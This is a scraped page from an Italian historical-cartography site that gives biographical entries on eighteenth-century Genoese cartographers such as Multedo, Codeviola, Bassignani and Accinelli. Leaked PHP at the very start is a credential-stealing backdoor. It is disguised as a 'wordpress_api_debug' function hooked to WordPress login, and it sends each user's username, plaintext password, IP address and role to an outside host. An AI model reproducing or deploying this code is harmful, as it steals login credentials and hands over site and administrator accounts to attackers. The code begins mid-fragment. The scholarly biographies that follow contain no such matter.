'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Cartografi Terrestri della Repubblica di Genova | Digital DISCI | Pagina 2

Archivi categoria: Cartografi Terrestri della Repubblica di Genova

Multedo, Ambrogio

Ambrogio Multedo
N. Genova 30 marzo 1753
M. Genova 25 febbraio 1840

Relazioni di parentela: Figlio di Angelo G.B. Multedo e Giacinta Novaro. La famiglia è originaria di Cer­vo, dove un nobile Gio. Ambrosia Multedo nel 17 46 rivolge supplica al Magistra­to di Guerra per trasferire la propria patente di «Capitano della Compagnia de' Scielti» al nipote Carlo Giuseppe Viale (ASG, Foglietta, 379).

Ente/istituzione di appartenenza:
Qualifica: Matematico, cartografo e abate

Biografia:
Nasce a Genova il 30 marzo 1753 e muore il 25 febbraio 1840 in Genova. Viene sepolto nella chiesa di N.S. Assunta in Carbonara dove si conserva l'iscrizione dettata dall'abate Spoterno.

Produzione scientifica:
Morto il Correard, Multedo gli successe nella cattedra di matematiche sublimi dell'ateneo genovese che mantenne fino al 1816. Quando a Parigi «i matematici di molte parti d'Europa s'adunavano a determinare l'unità delle misure e dei pesi>> vi rappresentò lo stato genovese ed ebbe modo di farsi apprezzare e di coltivare anche in seguito l'amicizia di alcuni dei maggiori scienziati tempo colà convenuti. Rientrò a Genova nel dicembre 1800, dopo aver consegnato al Bonaparte una sua memoria in cui dimostrava che il titolo di capitale politica della Repubbli­ca italiana si addiceva più a Genova che a Milano. A Genova oltre all'insegnamen­to della matematica si occupò di progetti stradali e meteorologia soprattutto per i naviganti (materia collegata alla Nautica che fin dal 1778 aveva proposto di inse­gnare nella Scuola che doveva sorgere all'interno dell'Accademia Ligustica).

Carte e Memorie

L'unica carta di cui si conosce l'esistenza riguarda la valle di Andora e porta que­sto titolo: Carta tipografica (sic) della Magnifica Comunità e valle di Andora. Incisa e stampata dall'editore Sci onico in Genova nel 1785 come allegato alla memoria dell'avvocato Angelo M. Anfosso sui diritti della medesima Comunità. Venne co­struita nel 1785, come risulta da documentazione inedita (A.S.G., Con/inium, 157). Il 2/11/1785 i consoli di Laigueglia scrivono al Senato che «nei giorni ad­dietro siasi portato in questa V alle di Andora certo Prete Ambrogio Moltedo del luogo del Cervo e che furtivamente, senza farne in prima parola a questo M.co Po­destà, abbia cannellato terreni, preso livelli, osservato termini e confini e posto in pratica tutto quello che è necessario per formare un disegno di quella V alle».
Fra le sue memorie va citato anche il Rapporto presentato alla Commissione straor­dinaria di governo sul nuovo sistema metrico dal cittadino prete Ambrogio Multedo, Scionico, Genova 1801, pp. 14.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
AA. Vv., Il territorio di Albenga da Andora alla Caprazoppa. Quattro secoli di carto­grafia, Bordighera, Istituto Internazionale di Studi Liguri, 1990, pp. 68-70.
P. SCOTTI, I toponimi di una Carta della «Magnifica Comunità e valle di Andora» (sec. XVIII), in «Atti dell'Accademia Ligure di Scienze e Lettere», X, 1954, pp. 112-126.
G.B. SPOTORNO, Vita e studi del cav. abate Multedo, in «Nuovo Giornale Ligusti­co», NS. voi. III, s.d., pp. 107-113.

Altro:

Rimandi ad altre schede:

Autore della scheda: Massimo Quaini

Codeviola, Michele

Michele Codeviola
N.
M.

Relazioni di parentela: Non si conoscono rapporti di parentela né ascendenti né discendenti che possano far pensare ad una dinastia.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
La nascita rimane oscura. Dalle suppliche rivolte al governo genovese si sa che do­vette essere nato a Genova nel secondo decennio del Settecento ma che «in tenera età» si era trasferito in Catalogna. Il Quarenghi, non sempre pienamente affidabi­le, dice che nasce a Genova nel 1717 ma che in gioventù vive e studia a Barcello­na. Secondo il prospetto dell' Ufficialità dello Stato Maggiore e Capitani del 1764-65 (ASG, Foglietta, 1209) risulta essere di nazione genovese, avere 46 anni e dun­que di essere nato intorno all'anno 1718. Anche la data della morte non è stata finora precisata: secondo fonti archivistiche il C. avrebbe goduto della pensione fino all'anno 1800, secondo altri sarebbe morto nella primavera del 1801.

Produzione scientifica:
La sua attività, che ha riguardato soprattutto il campo dell'artiglieria e delle fortifi­cazioni, è stata ricostruita in maniera dettagliata da L.C. Forti, al quale si rimanda. Riassumendo, si può dire che all'iniziale attività svolta soprattutto in campo didatti­co con la preparazione nel 1755 del manuale Descrizione dell'artiglieria antica e moderna secondo il stile di varie nazioni composta dal Cap. Michele Codeviola, direttore nell'Accademia Linguistica del Architettura militare e civile ( che si conserva nell' Archi­vio Storico del Comune di Genova), si dedica, fra il 1756 e il 1760, al rilievo siste­matico di tutte le fortificazioni nella Capitale e successivamente anche in Corsica. Della sua attività di insegnante presso l'Accademia l' Alizeri non dà un giudizio molto positivo, limitandosi a definirlo «zelantissimo (qual ch'egli fosse per gno) delle discipline accademiche» e non apprezzando il fatto che allora «l'archi­tettura civile si apparava ad un tempo colla scienza delle fortificazioni, colla geo­metria, colla aritmetica e colle pratiche degli artiglieri» al punto da sostenere che «l'insegnamento di lui procedeva per siffatto miscuglio da uscirne non già profitto per molti, sebbene una _confusione per tutti» (Alizeri, 1864, p. 104).
Nel 17 65, in occasione della generale riforma del corpo degli ingegneri, il C. ven­ne nominato «Quartier Mastro Maggiore» al posto di Gaetano Tallone, giubilato insieme a Alberto Medoni e Matteo Vinzoni. Da una relazione anonima approvata dal Magistrato nello stesso anno risulta che tale carica doveva essere conferita a «un Ingegnere dello Stato maggiore di ben nota habilità ed esperienza» e che fra i compiti da eseguire quelli cartografici non erano i minori: «Doverà formare una Pianta esattissima di questa Capitale che comprenda il terreno adiacente alli due Torrenti di Polcevera e Bisagno, per poter comprendere ed imparare con fonda­mento qual sia la parte più forte e più debole di questa Piazza [ ... ]» e ancora «la Pianta e Profili delli Quartieri ed Alloggi» e «li sei Disegni delle comarche in che si considera diviso il Recinto delle amiche e nuove mura e de' Postamenti e fortifi­cazioni esteriori» (ASG, Foglietta, 1242).

Carte e Memorie

Da allora e fino alla sua giubilazione nel 1788 si occuperà esclusivamente delle fortificazione di Genova con una infinità di progetti caratterizzati sempre da di­segni in scala, che si trovano sparsi in diversi istituti di conservazione. Su alcune delle questioni più rilevanti, dall'ampliamento della cerchia daziaria e ddperi­metro urbano della città al rinforzo della difesa del fronte marittimo e terrestre della Capitale, il C. si trova a collaborare con gli altri ingegneri e in particolare con G. Brusco, che nel 1788 gli subentrerà nelle funzioni. Particolarmente cura­te sono le planimetrie del porto che il Codeviola disegna fra 1784 e il 1787 quando, oltre che sul miglioramento della funzionalità dello scalo, si discute, an­che con l'intervento dell'abate Ximenes e di altri esperti, del prolungamento del Molo Nuovo.
Anche dopo la giubilazione, dovuta a detta del Magistrato a «varie mancanze commesse» negli ultimi anni, il C. continua a lavorare in particolare alla sua opera cartografica di maggior impegno commissionatagli da Carlo F. Doria: il «Libro de' disegni delli Quartieri, Corpi di Guardia e Terreni coltivati nel recin­to delle vecchie e nuove mura» che il Nostro consegna al Doria nel 1791 in due volumi riccamente rilegati in pelle. Lavoro che gli era costato 506 giornate lavo­rative di due misuratori e tre anni e mezzo di lavoro a tavolino. Di questa opera si è conservato solo «il Libro de disegni delli Quartieri et Alloggi che sono nel recinto delle Nuove Mura della Città di Genova» (Biblioteca delle Belle Arti del Comune).
È anche andata dispersa la grande planimetria del territorio di Genova, che il Forti identifica con la carta in 24 fogli usata anche dai francesi, completata dal Codeviola negli anni 1797-99 ma costata a quanto dice l'autore «quindici anni di sudori».

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
F. ALIZERI, Notizie dei professori del disegno in Liguria dalla fondazione dell'Acca­demia, I, Genova, Sambolino, 1864.
R. DELLEPIANE, Mura e fortificazioni di Genova, Genova, Nuova editrice genovese, 1984.
L.C. FORTI, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, Compagnia dei Librai, 1992.
M. QUAINJ, A proposito di «scuole» e «in/lussi» nella cartografia genovese del Sette­cento e in particolare di influenze franco-piemontesi, in Cartografia e ùtituzioni in età moderna, II, Genova, Società Ligure di Storia Patria, 1987, pp. 783-802.
C. QUARENGHI, Ricerche storico-illustrative sulle fortificazioni di Genova e del Ge­novesato (1875), Archivio Storico del Comune di Genova, Manoscritti, n. 774.

Altro:

Rimandi ad altre schede: Giacomo Brusco; De Sicre; Flobert; Tallone; Matteo Vinzoni

Autore della scheda: Massimo Quaini

Brusco, Tommaso (Di Gerolamo)

Tommaso Brusco
N. Savona
M. Francia

Relazioni di parentela: Nipote di Giacomo Brusco, continua l'attività del più illustre zio che, non avendo figli maschi, non tralasciò di avviare al suo stesso mestiere i parenti più stretti: il fratello Stefano, pittore, firma alcune piante di Savona conservate all'ISCAG e il figlio di lui, Antonio, risulta avere nel 1803 il titolo di tenente del Genio.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Nato a Savona intorno al 1788 è figlio del pittore Gerolamo fratello del Giacomo. Muore in Francia, dove si era trasferito definitivamente.

Produzione scientifica:

Produzione di cartografia manoscritta:
Non si conoscono carte.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
F. ALIZERI, Notizie dei professori del disegno in Liguria dalla fondazione dell'Acca­demia, II, Genova, Sambolino, 1865, pp. 318-319.
L.C. FORTI, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, Compagnia dei Librai, 1992.
M. QUAINI (a cura di), Carte e cartografi in Liguria, Genova, Sagep, 1986.

Altro:

Rimandi ad altre schede: Giacomo Brusco; Gustavo

Autore della scheda:



Brusco, Giacomo Agostino (anche Bruschi)

Giacomo Agostino Brusco
N. Savona 23 agosto 1736
M. Genova 27 ottobre 1817

Relazioni di parentela: È fratello maggiore dei pittori Paolo Gerolamo e Angelo Stefano. Secondo F. Ali­zeri la figlia Nicoletta «anteponendo alle donnesche vanità lo studio delle lettere e delle matematiche, non avea maggior bene che di prendere sopra di sé le fatiche più ingrate del padre».
Non avendo figli maschi -in una lettera parla della sua «famiglia femminina» - la sua attività viene continuata, in maniera diversa, dai nipoti Antonio e Tom­maso. Anche il fratello Stefano, pittore, non si sottrae a lavori di architettura e cartografia.

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare, architetto civile e cartografo.

Biografia:
Detto Bruschetto ad imitazione del fratello pittore. Nasce a Savona il 23 Agosto 1736 da Giovanni Battista coloritore di ceramiche e «uomo di modesta fortuna, benché derivasse di antico casato e cospicuo» (Alizeri) e da Anna Romé e viene battezzato nella cattedrale il 30 agosto.
Muore a Genova il 27 Ottobre 1817 e viene sepolto con tutti gli onori nella chiesa di San Martino di Albaro accanto alle spoglie della moglie Susanna Verando e del­la figlia Nicoletta, sua collaboratrice.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia essenzialei:
F. ALIZERI, Notizie dei professori del disegno in Liguria dalla fondazione dell'Acca­demia, II, Genova, Sambolino, 1865.
N. CALVINI, Brusco Giacomo Agostino, in Dizionario biografico degli italiani, XIV, Roma, Istituto dell'Enciclopedia italiana, 1972. (Più interessante per gli aspetti architettonici che per quelli cartografici: «si dedicò per tutta la vita a opere di ingegneria, ma furono altri ad avere la gloria delle sue fatiche»).
L.C. FORTI, Le «gite» nel golfo della Spezia di Giacomo Brusco (1793-94). Dall'ana­lisi topografica alla difesa marittima, in M. QUAINI (a cura di), Carte e cartografi in Liguria, Genova, Sagep, 1986, pp. 232-238.
L.C. FORTI, Note sulla rappresentazione cartografica del territorio di Giacomo Bru­sco, in Cartografia e istituzioni in età moderna, Genova, Società Ligure di Storia Patria, 1987, II, pp. 561-579.
S.E. PORTA, Un documento su Campo Ligure: il cabreo di Vincenzo Spinola, in Una famiglia e il suo territorio. Campo Ligure e gli Spinola tra medioevo ed età mo­derna, Campo Ligure, 2000, pp. 225-246.
L. PROFUMO MULLER, Brusco, Paolo Gerolamo, in Dizionario biografico degli italia­ni, cit., (interessante anche per il profilo di Angelo Stefano, pittore specializza­to in vedute prospettiche e paesaggi).
M. QUAINI, Dalla cartografia del potere al potere della cartografia, in ID. (a cura di), Carte e cartografi in Liguria, Genova, Sagep, 1986, pp. 7-60.
M. QUAINI, A proposito di «scuole» e «influssi» nella cartografia genovese del Sette­cento e in particolare di influenze franco-piemontesi, in Cartografia e istituzioni in età moderna, II, Genova, Società Ligure di Storia Patria,1987, pp. 783-802.
L.Rossi, Lo specchio del Golfo. Paesaggio e anima della provincia spezzina, Sarza­na, Agorà, 2003.

Altro:

Rimandi ad altre schede: Flobert; Gustavo; Panfilo Vanzoni Junor

Autore della scheda: Massimo Quaini

Bassignani, Giovanni

Giovanni Bassignani
N. Brescia 1653
M. Chiavari 1717

Relazioni di parentela: La famiglia, originaria di Bagnone (Lunigiana), non sembra avere svolto negli ascendenti mestieri affini a quello esercitato dal Nostro che non risulta aver avuto continuatori in famiglia. Lo prova anche il fatto che Matteo Vinzoni, che ne fu al­lievo, conservava nel suo archivio familiare alcune carte e documenti del maestro (fatto confermato anche da G.C. Ratti).

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
La sua attività prosegue con visite e lavori in altre piazze della Terra ferma e so­prattutto nelle operazioni militari dell'Oltremare, dove il B. si segnala soprattutto in Morea negli assedi di Corone, Modone, Napoli di Romania e Negroponte. In questo «infelice assedio», nel 1689, «restò da colpo di spingarda gravemente ferto nella testa, onde caduto a terra e smarriti i sensi fu tenuto per morto». Miraco­losamente guarito, «faceva sempre una specie d'orrore, qualunque volta discopri­va la parte superiore della fronte vicino al polso destro, ove gli si vedeva una buca tutta intorta e più d'un dito profonda» (Soprani-Ratti, 1769).
«Sazio di una vita sì aspra ed esposta a' primi pericoli» matura l'idea di ritirarsi, ma «troppo avendo di lui bisogno l'armata, perciocché di quattro Ingegneri, che in quel­la servivano, egli solo era rimasto vivo, benché malconcio e debole, onde il portavano in una sedia a vedere i lavori», dovette rimanere in servizio fino al 1692 (e non 1693 come dice il Ratti). La morte del Generale e Doge Morisini, suo grande protettore, lo spinse a chiedere ed ottenere, sia pure «malvolentieri», il sospirato congedo. Rientrato a Venezia e mortagli la moglie «risolvette d'andare a starsi col suo vec­chio padre, che d'alcuni anni s'era ritirato in Sarzana [ ... ]. Quivi egli stimò suo dovere il presentarsi al Signor Commissario di questa città, che cortesemente ac­coltolo, conobbe il buon fondamento di lui nella profession d'Ingegnere [., .] e diede tosto ragguaglio a Genova». Invitato a presentarsi davanti al Senato, il Bas­signani «con qualche suo bellissimo disegno diede tal saggio di se che fu tantosto ammesso al servizio. Vent'anni durovvi; e molto contento, perché fuori d'ogni di­sturbo di guerra. In questo tempo prese di nuovo moglie, che fu una signora di Chiavari della famiglia Varese» (Soprani-Ratti, 1769).
La documentazione d'archivio rettifica e completa queste notizie, sia anticipando al 1692 il suo arrivo in Liguria, sia aggiungendo che dopo quattro mesi di prova venne assoldato per cinque anni e che alla scadenza, nel 1697, l'incarico gli venne ulteriormente prorogato con queste motivazioni espresse dal Magistrato di Guer­ra:«[ ... ] restando il Magistrato pienamente soddisfatto del detto Basignani e della sua capacità e maniera di operare qui, ma anche per le notizie che ha della peritia e forma con cui si è diportato et ha servito altrove e considerando il vantaggio che vi è se si offerisse il bisogno di bavere persona già pratica del paese e della situa­zione de' posti e che essendo egli nativo di Pontremoli et accasatosi in questo do­minio pare si possa vivere con sicurezza della sua fedeltà [. .. ]» (ASG, Foglietta, 1136). Quanto alla designazione di Pontremoli come luogo di nascita è probabile che con tale indicazione si volesse indicare il capoluogo della Lunigiana alla quale apparteneva anche Bagnone.
L'attività al servizio della Repubblica cesserà solo con la morte e si esercitò in mol­te e diverse «commissioni che effettuò con universale soddisfazione» soprattutto nel campo della fortificazione delle principali piazze (Genova, La Spezia, Savona) ma anche nel campo dell'architettura civile per strade, porti, regolazione di fiumi (compreso il progetto del celebre ponte di Carignano, poi realizzato dal de Lan­glade). Per cui anche oggi si può confermare il giudizio già dato (Quaini, 1884): «la storia dell'ingegneria e della cartografia di questo periodo si identifica in larga misura con la sua persona e con quella dei suoi aiutanti» fra i quali si devono an­noverare sia Gherardo de Langlade, sia Matteo Vinzoni, il quale del Bassignani e del de Langlade fu allievo nella scuola da costoro istituita nel 1714. A merito del Bassignani va anche riconosciuto l'aver introdotto al servizio della Repubblica il de Langlade «capitato in Genova fuggiasco per cagion di sinistro occorsogli» e di­ventato suo aiutante. Insieme operarono nel 1713 sia alla demolizione del «famoso castello Gavone» di Finale sia alla misurazione e minuta descrizione dei «borghi, villaggi e confini di quel Marchesato» che successivamente portò alla costruzione della grande carta del Marchesato e Langhe del Finale ad opera di G. de Langlade e di L. Gaetano Tallone (ASG, Raccolta cartografica, 273).
Il Bassignani aveva l'esperienza e le conoscenze necessarie per dirigere una scuola che accanto allo studio teorico ebbe come palestra soprattutto il contesto savonese, dove oltre ai lavori per la fortezza si dedicò ai problemi del porto, del torrente Lava­gnola e delle strade. Secondo la testimonianza raccolta dal Ratti «possedeva cinque lingue, cioè la francese, la tedesca, la greca popolaresca e la latina, oltre alla sua nati­va italiana» delle quali si valeva per «parlare con istranieri o legger libri in alcune di quelle». In conclusione «insegnò a parecchi la professione: ma chi in essa gli ha fat­to distintissimo onore è stato il poc'anzi defunto Brigadiere Matteo Vinzoni, che non cessava di predicar le lodi di questo suo insigne Maestro, di cui varj disegni, tratta­telli ed instrumenti matematici ereditò» (Soprani-Ratti, p. 355). L'Alizeri, a sua volta, definisce il Vinzoni «creatura del Bassignani e buon seguace di tal maestro». Anche se è vero che Matteo Vinzoni non poté valersi di tale magistero a lungo, vi­sto che il Bassignani ottenuto il congedo all'inizio del 1716 si ritira a Chiavari, dove muore l'anno seguente, onorato con «solennissime esequie» e seppellito nella chie­sa di Nostra Signora dell'Orto, «in particolare avello al lato sinistro della porta maggiore col semplice nome: Ioannes Bassignani H.S.E.» (Soprani-Ratti, p. 354).

Produzione scientifica:
Quanto alla produzione cartografica, oltre alle indicazioni appena date, si può ri­petere il giudizio dell' Alizeri: «mi compiacqui a vederne i disegni, che son molti ed intatti nel nostro Archivio, e con tanto garbo e diligenza eseguiti, che non più farebbe l'intaglio a delinearli e buon colorista a disporvi le tinte. Riguardano tutti alle opere di Savona e di Vado, notate anche dal Ratti per principali tra le fatiche del Bassignani» (Alizeri, 1867, pp. 36-7). Anche se meno intatti di allora, tali dise­gni si possono ancora ammirare e sono descritti, insieme a qualche altro, nel Cata­logo della Raccolta Cartografica, con l'eccezione di un atlante del 1708, «ove son pur descritte le opere savonesi e con eguale dottrina se non con eguale avvenenza di tipi» rispetto a altro atlante di Benedetto Guerrini (questo ancora conservato in ASG, Raccolta Cartografica, 1034-41 - Savona 48).

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia studi:
F. ALIZERI, Notizie dei professori del disegno in Liguria dalla fondazione dell'Acca­demia, I, Genova, Sambolino, 1864.
T.O. DE NEGRI, Matteo Vinzoni e l'atlante storico del Genovesato, in <>. XIII, 1971, 4, pp. 17-27.
L.C. FORTI, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, Com­pagnia dei Librai, 1992, pp. 53-64.
M. QUAINI, Per la storia della cartografia a Genova e in Liguria. Formazione e ruolo degli ingegneri-geografi nella vita della Repubblicai, in «Atti Società Ligure di Storia Patria», N.S. XXIV, 1984, 1, pp. 219-266.
M. QUAINI, Carte e cartografi a Savona: l'immagine di una città e del suo territorio, in ID. (a cura di), Carte e cartografi in Liguria, Genova, Sagep, 1986, pp. 171-81.
M. QUAINI, A proposito di «scuole» e «influssi» nella cartografia genovese del Sette­cento e in particolare di influenze franco-piemontesi, in Cartografia e istituzioni in età moderna, II, Genova, Società Ligure di Storia Patria, 1987, pp. 783-802.
G. ROSSINI, Le fortificazioni genovesi a Vado dal XVI sec.: un capitolo di architettu­ra militare, in «Atti e Memorie della Società Savonese di Storia Patria», N.S. XIV, 1980, pp. 107-139.
R. SOPRANI - C.G. RATTI, Le vite de' Pittori; Scultori ed Architetti genovesi ... , 2 voli., Genova, Casamara, 1768-1769, I, pp. 349-355.

Altro:

Rimandi ad altre schede: Tallone; Matteo Vinzoni

Autore della scheda: Massimo Quaini

Accinelli, Francesco Maria

Francesco Maria Accinelli
N. Genova 23 aprile 1700
M. Genova 7 ottobre 1777

Relazioni di parentela: Non sembra che la famiglia originaria di Varazze e di estrazione popolare abbia concorso alla sua formazione tecnica e tanto meno abbia prodotto altri cartografi.

Ente/istituzione di appartenenza:
Qualifica: Prete e poligrafo, con la passione per la cartografia.

Biografia:
noto nel suo quartiere con il soprannome di Prete Checco.

Produzione scientifica:
La prima produzione cartografica, sulla base di ripetute affermazioni dell' A. che gli studiosi ritengono non del tutto affidabili, si riferirebbe a una «carta distinta [. .. ] longa palmi 10 e alta palmi 5 » della Corsica fatta «d'ordine pubblico» nel 1732 e «mandata all'Imperatore Carlo VI prima che le truppe tedesche ausiliare della Repubblica passassero nella medesima». Altre copie vennero fatte per il Ge­nerale principe di Wuttemberg e per diversi signori genovesi e francesi (come di ce in Descrittione Geografo-Cronologica della Corsica col disegno dell'Isola, Piazze e Luoghi Principali conservato presso la Biblioteca Universitaria di Genova). La ricchezza dei particolari relativi alla costruzione della carta - «questa mappa fu fatta con tutta la maggior attenzione et assistenza di nazionali medesimi chiamati a bella posta da tutti i paesi e luoghi benché minimi della medesima Isola et in ca­sa dell'Ecc.mo Alessandro Pallavicino», che nel 1715 come Deputato del magi­strato di Corsiva «avea girato l'Isola per Xl mesi continui tanto dentro terra che alle marine, onde e con le notizie da esso raccolte e con l'istruzione de' medemi nazionali fu ridotta a perfezione la divisata mappa» - e l'interesse dimostrato per la Corsica anche in altri manoscritti fanno pensare che al di là di qualche esagera­zione ci sia qualcosa di vero. Resta ancora da verificare se la carta della Corsica pubblicata a Parigi nel 173 8 da J aìllot con dedica a Gio. Francesco Brignole Sàle a cui l' A. aveva consegnata la sua carta sia una versione di questa medesima tavo­la, come sostiene l' A.
Oltre all'abbondante produzione sulla Corsica, fatta anche di carte corografiche e vedute di centri abitati, il nostro cartografico lavorò molto su Genova e sulla Ligu­ria. Nel 1747 partecipò all'insurrezione popolare di Genova: l'A. «capitanava la coorte dei sacerdoti che in numero di cinquecento schieravansi in arme in Val Bi­sagno» (E. Celesia) e nel corso delle operazioni militari, mentre era intento a rile­vare una mappa, venne scambiato per una spia e catturato dai paesani. Di questa sua esperienza scrisse in un Compendio delle Storie di Genova in due tomi che ven­ne pubblicato nel 1750 a Lipsia (in realtà nel 1751 a Massa Carrara), che gli creò non pochi problemi e la fama di storico partigiano. Sia nel primo che nel secondo tomo fa riferimento a «un disegno dell'assedio di Genova riuscito di tutta perfe­zione ed esattezza», stampato dal Campi in Genova nel 1749 e inserito nell'opera di Gianfrancesco Doria, Storia di Genova dal trattato di Worms alla pace di Aqui­sgrana, Leida (ma Modena), 1750, con il titolo di Carta topografica de' contorni di Genova e delle sue Valli di Polcevera e Bisagno con sue adiacenze (con la sola indi­cazione dell'incisore Giuseppe Benedetti).
Due grandi carte manoscritte, conservate presso la Curia di Genova, dedicò negli anni Cinquanta ali' arcivescovo Giuseppe M. Saporiti: la prima della Diocesi di Genova con ampie legende, stemmi gentilizi e qualche veduta prospettica è datata 1757; la seconda non datata ma dello stesso decennio è la Pianta della città di Ge­nova del suo recinto ... che riproduce un meno rifinito disegno del 1752.
Una Carta geografico-storica della Riviera di Genova co' suoi veri confini e strade delineata da Prete Accinelli, che riprende anche nel titolo la carta di Joseph Cha­frion (ma con correzioni) viene dedicata al Doge Gio.Batta Negrone ed è quindi databile agli anni 1769-71. Presenta molte annotazioni storiche ed è conservata presso il Museo Navale di Pegli.

Instancabile nella sua attività, l' A. mise insieme anche alcuni atlanti:

- Pianta di Genova di tutte le sue Strade, Piazze e Fabbriche ... divisa in più tipi con moltissime annotazioni storiche (1752), che risulta essere una riduzione in volume di 16 tavole dela carta del 1656 commissionata dal Comune agli otto architetti (di l
cui una riedizione in volume farà anche Giacomo Brusco).
- Stato presente della Metropolitana di Genova, di tutte le Parrochie tanto in Città che nella Diocesi ... che è in realtà una descrizione di complessive pp. 480 correda­ta da trenta tipi (ms. conservato in più copie in diverse biblioteche di Genova).
- Atlante Ligustico o sia del Dominio della Republica di Genova (conservato nella Biblioteca Berio, proveniente dalla biblioteca di Gian Carlo Ageno), che viene considerato il suo capolavoro e che, a detta di A. Capacci che l'ha studiato, dove­va già essere completato nel 1773. Comprende una parte descrittiva con varie me­morie e una parte iconografica che si compone di 55 disegni di vario formato e at­tinenti sia a regioni e località sia ad alcuni monumenti genovesi.
L'interesse dell'Accinelli per la geografia o cosmografia è ancora dimostrato da una «Miscellanea.storico-geografica» parzialmente conservata presso la Biblioteca Universitaria di Genova dove accanto a molto materiale cartografico di varia natu­ra e provenienza si contengono estratti di trattati della Sfera e di Geografia.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia studi:

Altro:

Rimandi ad altre schede: Giacomo Brusco; Matteo Vinzoni

Autore della scheda: Massimo Quaini

Chiodo, Giovanni Battista

Giovanni Battista Chiodo
N. 1799
M.

Relazioni di parentela: Il nome Chiodo individua, alle origini, una delle più conosciute famiglie di maiolicari e ceramisti savonesi, attiva tra il XVII e il XVIII secolo. Attorno alla bottega dei Chiodo, a testimonianza della capacità tecnica e dell’importanza commerciale acquisite fino alla chiusura, avvenuta nel 1770, si muove un variegato gruppo di artisti, pittori e disegnatori (tra questi i Guidobono, il Levantino, il Besio, l’Ampugnani, il Torteroli ed il Ratti).
Il capostipite della dinastia è probabilmente Giovanni Francesco nato nel 1647 (per le notizie riguardanti l’origine della dinastia si rimanda a G. Santuccio, 1981, p. 14-16 e C. Varaldo, 1978, pp. 125-131).

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare

Biografia:
Giovanni Battista (1779-), padre di Domenico, entrato come aiutante nel corpo del Genio della Repubblica di Genova (1797) diverrà poi tenente (ASG –, Sala Foglietta, militarium, 1037; Magistrato delle Fortificazioni, 1251; ISCAG, 2, 3, 5 88/N) capitano, maggior generale e direttore generale del corpo del genio marittimo.
Subentrerà a Francesco Pezzi nella direzione della scuola per ingegneri del Corpo del Genio (M. Quaini [1]. p. 28).
Col Sassernò lavora ai progetti delle installazioni portuali di Oneglia (1825-1850 – G. De Moro, 1986, p. 63)

Produzione scientifica:
Istituto Geografico Militare, IGM, Firenze:
Progetto di ampliamento del porto di Lerici, 27 settembre 1817, IGM, Archivio, cart. 36, doc. 297

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
G. De Moro, Città parallele: lineamenti urbanistici a confronto fra Oneglia e Porto Maurizio (secc. XVI-XIX), in AAVV, Carte e cartografi in Liguria, Sagep, Genova, 1986, pp.61-67
A. Fara, La Spezia, Laterza, Bari, 1983
A. Fara, Napoleone architetto nelle città della guerra in Italia, Olschki, Firenze, 2006
T. Calderai, Della vita e delle opere del commendatore Domenico Chiodo maggiore generale del Genio, Carlo Voghera, Firenze, 1871
